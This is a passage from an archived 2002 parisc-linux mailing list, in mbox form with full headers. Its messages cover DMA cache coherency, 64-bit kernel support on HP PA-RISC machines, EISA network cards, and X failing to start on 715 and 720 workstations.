Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14363

On Sat, Mar 16, 2002 at 10:38:38PM -0700, Grant Grundler wrote:
> oh - I forgot about those for filling the IO pdir entries...
> that need to change in order to support zero copy?
> 
> We somehow need to pass the spaceID of the userspace buffer
> to dma code if we want DMA to be cache coherent.
> I don't have any good ideas for this.

My understanding is that DMA to userspace is to pages in the page cache
only.  As such, the normal mechanisms for dcache coherency should be used.
That is, DMA to a kernel view of the page and call flush_dcache_page
after touching it.  My proposed scheme for kmap/kunmap implementation
would make flush_dcache_page a no-op, since the kernel would have a view
of the page which is automatically cache coherent with userspace's view.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:22:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Can I do 64 bit
Date: Sun, 17 Mar 2002 13:59:48 +0000
Lines: 31
Approved: news@gmane.org
Message-ID: <20020317135948.G21765@parcelfarce.linux.theplanet.co.uk>
References: <20020317084054.84462.qmail@web10504.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621165 4922 80.91.229.3 (22 Nov 2014 01:52:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Tim Robb <hecubus3rd@yahoo.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar 17 06:59:50 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 48493483B
	for <parisc-linux@lists.parisc-linux.org>; Sun, 17 Mar 2002 06:59:49 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16mbCO-0003D7-00; Sun, 17 Mar 2002 13:59:48 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020317084054.84462.qmail@web10504.mail.yahoo.com>; from hecubus3rd@yahoo.com on Sun, Mar 17, 2002 at 12:40:54AM -0800
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14364

On Sun, Mar 17, 2002 at 12:40:54AM -0800, Tim Robb wrote:
> Hello, I recently aquired a HP C180XP here is the
> I am wondering if this system can run a 64 bit kernel?
>  Can anyone tell me if it can and how do I get it
> booted up in 64 bit mode if it can?

Let's get a FAQ entry for this:

15. Can I run a 64-bit kernel on my machine?

The answer to this is generally determined by the firmware your machine
runs.  Workstations up to and including the J2240 and C360 only have
32-bit firmware.  The normal 64-bit kernel will not run on these systems.
The A500 and L2000 server only have 64-bit firmware, and these machines
must run a 64-bit kernel.  The C3000 and similar workstations have both
32-bit and 64-bit firmware and can therefore run either kernel.

A more important question is: why do you want to run a 64-bit kernel?
Since we do not yet support 64-bit userspace, there is no advantage
to be gained running a 64-bit kernel on a machine with less than 3.5GB
of memory.

For those who do want to test 64-bit kernels on older machines, there is a
special configuration option `32-bit PDC' which will allow a 64-bit kernel
to work with 32-bit firmware.  We cannot enable this option by default
as the resulting kernel will not work on machines with 64-bit firmware.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:22:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] EISA 100/10 add-on card causes kernel BUG
Date: Sun, 17 Mar 2002 09:59:04 -0700
Lines: 28
Approved: news@gmane.org
Message-ID: <20020317165905.0117A4834@dsl2.external.hp.com>
References: <3C92DD15.4060008@neuronet.pitt.edu> <raffo@neuronet.pitt.edu> <20020316184231.482C6482C@dsl2.external.hp.com> <20020316213938.B2179@parcelfarce.linux.theplanet.co.uk> <willy@debian.org> <20020317053838.683C7482D@dsl2.external.hp.com>  <20020317134330.F21765@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621166 4930 80.91.229.3 (22 Nov 2014 01:52:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:46 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar 17 09:59:05 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 0117A4834; Sun, 17 Mar 2002 09:59:04 -0700 (MST)
In-Reply-To: Message from Matthew Wilcox <willy@debian.org> 
   of "Sun, 17 Mar 2002 13:43:30 GMT." <20020317134330.F21765@parcelfarce.linux.theplanet.co.uk> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14365

Matthew Wilcox wrote:
> My understanding is that DMA to userspace is to pages in the page cache
> only.

NICs use the page cache? or just for ZC?
block IO certainly uses the page cache.

> As such, the normal mechanisms for dcache coherency should be used.
> That is, DMA to a kernel view of the page and call flush_dcache_page
> after touching it.

For page cache, ok. Then ccio/sba implicitly use whatever SR the
kernel is supposed to use and we don't need to pass the parameter.
If NIC's use page cache for ZC, that would make life simple.

> My proposed scheme for kmap/kunmap implementation
> would make flush_dcache_page a no-op, since the kernel would have a view
> of the page which is automatically cache coherent with userspace's view.

I'm liking that idea alot.
I've really never been comfortable with the two views not being coherent
since it will expose more kernel bugs that other arches don't see.


thanks,
grant



From - Thu Nov 08 21:22:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aaron Macks <aaronm@cs.brandeis.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] supported EISA 100bt card?
Date: Sun, 17 Mar 2002 12:06:14 -0500
Lines: 11
Approved: news@gmane.org
Message-ID: <20020317120614.A11211@hera.cs.brandeis.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621166 4939 80.91.229.3 (22 Nov 2014 01:52:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:46 +0000 (UTC)
To: PARISC-Linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Mar 17 10:06:19 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hera.cs.brandeis.edu (hera.cs.brandeis.edu [129.64.3.192])
	by dsl2.external.hp.com (Postfix) with ESMTP id C0FFD482F
	for <parisc-linux@lists.parisc-linux.org>; Sun, 17 Mar 2002 10:06:18 -0700 (MST)
Original-Received: (from aaronm@localhost)
	by hera.cs.brandeis.edu (8.9.3/8.9.3) id MAA11214
	for parisc-linux@lists.parisc-linux.org; Sun, 17 Mar 2002 12:06:14 -0500
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14366

Is there a list somewhere of which EISA cards are supported?  I need
to add 100baseT capabilities to a 755, and figured that was the way to
go
thanks
Aaron
-- 
_______________________________________________________
Aaron Macks(aaronm@cs.brandeis.edu)
My sheep has seven gall bladders, that makes me the King of the Universe!



From - Thu Nov 08 21:22:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jean-Louis Abat" <jl_abat@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] pb with iso 0.9.3 ?
Date: Mon, 18 Mar 2002 11:05:24 +0100
Lines: 65
Approved: news@gmane.org
Message-ID: <DAV39FlmmlQ080Gxw8Z0001bdbc@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_001D_01C1CE6C.CD9D1C20"
X-Trace: ger.gmane.org 1416621166 4946 80.91.229.3 (22 Nov 2014 01:52:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:46 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 18 03:04:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (dav39.law15.hotmail.com [64.4.22.96])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7C3424839
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Mar 2002 03:04:44 -0700 (MST)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Mon, 18 Mar 2002 02:04:43 -0800
X-Originating-IP: [134.214.164.162]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
X-OriginalArrivalTime: 18 Mar 2002 10:04:43.0325 (UTC) FILETIME=[535586D0:01C1CE64]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14367

C'est un message de format MIME en plusieurs parties.

------=_NextPart_000_001D_01C1CE6C.CD9D1C20
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi,=20

I made an installation with the 0.9.3 iso on 3 different types of parisc =
systems : 715/33,720/50 and 712/80.
As I haven't much time to do so, I decide to use only tasksel, and not =
dselect.
The pb was the same under 715 and 720 : no X, but it is ok with the =
712...
(of course, I've modified the XF86Config for all, using fbdev as driver, =
and using a serial mouse and a hil keyboard for the 715 and 720 with the =
good keymap...)
What could be the problem? Are 715 and 720 working under X ??

best regards,=20
jl.


------=_NextPart_000_001D_01C1CE6C.CD9D1C20
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 5.50.4522.1800" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hi, </FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I made an installation with the 0.9.3 =
iso on 3=20
different types of parisc systems : 715/33,720/50 and =
712/80.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>As I haven't much time to do so, I =
decide to use=20
only tasksel, and not dselect.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>The pb was the same under 715 and 720 : =
no X, but=20
it is ok with the 712...</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>(of course, I've modified the =
XF86Config for all,=20
using fbdev as driver, and using a serial mouse and a hil keyboard for =
the 715=20
and 720 with the good keymap...)</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>What could be the problem? Are 715 and =
720 working=20
under X ??</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>best regards, </FONT></DIV>
<DIV><FONT face=3DArial size=3D2>jl.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV></BODY></HTML>

------=_NextPart_000_001D_01C1CE6C.CD9D1C20--



From - Thu Nov 08 21:22:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pb with iso 0.9.3 ?
Date: Mon, 18 Mar 2002 11:12:23 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <20020318101223.GI31276@charite.de>
References: <DAV39FlmmlQ080Gxw8Z0001bdbc@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621167 4953 80.91.229.3 (22 Nov 2014 01:52:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jean-Louis Abat <jl_abat@hotmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 18 03:12:26 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hauptpostamt.charite.de (hauptpostamt.charite.de [193.175.73.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id EE12E4842
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Mar 2002 03:12:25 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by hauptpostamt.charite.de (Postfix) with ESMTP
	id BE76315C009; Mon, 18 Mar 2002 11:12:24 +0100 (CET)
Original-Received: from localhost (localhost [127.0.0.1])
	by hauptpostamt.charite.de (Postfix) with SMTP
	id 1B71815C02B; Mon, 18 Mar 2002 11:12:24 +0100 (CET)
Original-Received: from postamt1.charite.de (postamt1.charite.de [193.175.66.246])
	by hauptpostamt.charite.de (Postfix) with ESMTP
	id 0F08F15C027; Mon, 18 Mar 2002 11:12:24 +0100 (CET)
Original-Received: by postamt1.charite.de (Postfix, from userid 7945)
	id EF19F633C3; Mon, 18 Mar 2002 11:12:23 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <DAV39FlmmlQ080Gxw8Z0001bdbc@hotmail.com>
User-Agent: Mutt/1.3.28i
X-Virus-Scanned: by AMaViS snapshot-20020220
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14368

On Mon, Mar 18, 2002 at 11:05:24AM +0100, Jean-Louis Abat wrote:
> Hi, 
> 
> I made an installation with the 0.9.3 iso on 3 different types of
> parisc systems : 715/33,720/50 and 712/80. As I haven't much time to
> do so, I decide to use only tasksel, and not dselect. The pb was the
> same under 715 and 720 : no X, but it is ok with the 712... (of
> course, I've modified the XF86Config for all, using fbdev as driver,
> and using a serial mouse and a hil keyboard for the 715 and 720 with
> the good keymap...) What could be the problem? Are 715 and 720
> working under X ??

Yes, definitely. X is fine on my 712/80. The config was posted here,
check the Archives.


-- 
Ralf Hildebrandt (Im Auftrag des Referat V A)   Ralf.Hildebrandt@charite.de
Charite Campus Virchow-Klinikum                 Tel.  +49 (0)30-450 570-155
Referat V A - Kommunikationsnetze -             Fax.  +49 (0)30-450 570-916
Why is Linux so stable? 
Because Penguins can't fly.




From - Thu Nov 08 21:22:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jean-Louis Abat" <jl_abat@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pb with iso 0.9.3 ?
Date: Mon, 18 Mar 2002 11:14:08 +0100
Lines: 112
Approved: news@gmane.org
Message-ID: <DAV54USzbAUfKRfcjcM00000533@hotmail.com>
References: <DAV39FlmmlQ080Gxw8Z0001bdbc@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0026_01C1CE6E.061F8D20"
X-Trace: ger.gmane.org 1416621167 4963 80.91.229.3 (22 Nov 2014 01:52:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:47 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 18 03:13:32 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (dav54.law15.hotmail.com [64.4.22.47])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0F2E24847
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Mar 2002 03:13:32 -0700 (MST)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Mon, 18 Mar 2002 02:13:31 -0800
X-Originating-IP: [134.214.164.162]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
X-OriginalArrivalTime: 18 Mar 2002 10:13:31.0037 (UTC) FILETIME=[8DDFFCD0:01C1CE65]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14369

C'est un message de format MIME en plusieurs parties.

------=_NextPart_000_0026_01C1CE6E.061F8D20
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Oups!
I forgot to tell more about my pb...
no X with 715 and 720 is not enough ;)

In fact, no device is detected, whatever driver I specify, including =
fbdev, which is supposed to work, or am I wrong?
  ----- Original Message -----=20
  From: Jean-Louis Abat=20
  To: parisc-linux@lists.parisc-linux.org=20
  Sent: Monday, March 18, 2002 11:05 AM
  Subject: [parisc-linux] pb with iso 0.9.3 ?


  Hi,=20

  I made an installation with the 0.9.3 iso on 3 different types of =
parisc systems : 715/33,720/50 and 712/80.
  As I haven't much time to do so, I decide to use only tasksel, and not =
dselect.
  The pb was the same under 715 and 720 : no X, but it is ok with the =
712...
  (of course, I've modified the XF86Config for all, using fbdev as =
driver, and using a serial mouse and a hil keyboard for the 715 and 720 =
with the good keymap...)
  What could be the problem? Are 715 and 720 working under X ??

  best regards,=20
  jl.


------=_NextPart_000_0026_01C1CE6E.061F8D20
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 5.50.4522.1800" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Oups!</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>I forgot to tell more about my =
pb...</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>no X with 715 and 720 is not enough =
;)</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>In fact, no device is detected,=20
whatever&nbsp;driver I specify, including fbdev, which is supposed to =
work, or=20
am I wrong?</FONT></DIV>
<BLOCKQUOTE dir=3Dltr=20
style=3D"PADDING-RIGHT: 0px; PADDING-LEFT: 5px; MARGIN-LEFT: 5px; =
BORDER-LEFT: #000000 2px solid; MARGIN-RIGHT: 0px">
  <DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
  <DIV=20
  style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
  <A title=3Djl_abat@hotmail.com =
href=3D"mailto:jl_abat@hotmail.com">Jean-Louis=20
  Abat</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A=20
  title=3Dparisc-linux@lists.parisc-linux.org=20
  =
href=3D"mailto:parisc-linux@lists.parisc-linux.org">parisc-linux@lists.pa=
risc-linux.org</A>=20
  </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Monday, March 18, 2002 =
11:05=20
  AM</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> [parisc-linux] pb with =
iso 0.9.3=20
  ?</DIV>
  <DIV><BR></DIV>
  <DIV><FONT face=3DArial size=3D2>Hi, </FONT></DIV>
  <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
  <DIV><FONT face=3DArial size=3D2>I made an installation with the 0.9.3 =
iso on 3=20
  different types of parisc systems : 715/33,720/50 and =
712/80.</FONT></DIV>
  <DIV><FONT face=3DArial size=3D2>As I haven't much time to do so, I =
decide to use=20
  only tasksel, and not dselect.</FONT></DIV>
  <DIV><FONT face=3DArial size=3D2>The pb was the same under 715 and 720 =
: no X, but=20
  it is ok with the 712...</FONT></DIV>
  <DIV><FONT face=3DArial size=3D2>(of course, I've modified the =
XF86Config for all,=20
  using fbdev as driver, and using a serial mouse and a hil keyboard for =
the 715=20
  and 720 with the good keymap...)</FONT></DIV>
  <DIV><FONT face=3DArial size=3D2>What could be the problem? Are 715 =
and 720=20
  working under X ??</FONT></DIV>
  <DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
  <DIV><FONT face=3DArial size=3D2>best regards, </FONT></DIV>
  <DIV><FONT face=3DArial size=3D2>jl.</FONT></DIV>
  <DIV><FONT face=3DArial =
size=3D2></FONT>&nbsp;</DIV></BLOCKQUOTE></BODY></HTML>

------=_NextPart_000_0026_01C1CE6E.061F8D20--



From - Thu Nov 08 21:22:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jean-Louis Abat" <jl_abat@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pb with iso 0.9.3 ?
Date: Mon, 18 Mar 2002 11:25:45 +0100
Lines: 46
Approved: news@gmane.org
Message-ID: <DAV51vjqueolj8Jecd900003763@hotmail.com>
References: <DAV39FlmmlQ080Gxw8Z0001bdbc@hotmail.com> <20020318101223.GI31276@charite.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621167 4969 80.91.229.3 (22 Nov 2014 01:52:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:47 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "Ralf Hildebrandt" <Ralf.Hildebrandt@charite.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Mar 18 03:25:06 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (dav51.law15.hotmail.com [64.4.22.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id D0726484B
	for <parisc-linux@lists.parisc-linux.org>; Mon, 18 Mar 2002 03:25:05 -0700 (MST)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Mon, 18 Mar 2002 02:25:04 -0800
X-Originating-IP: [134.214.164.162]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
X-OriginalArrivalTime: 18 Mar 2002 10:25:04.0769 (UTC) FILETIME=[2B5F1710:01C1CE67]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
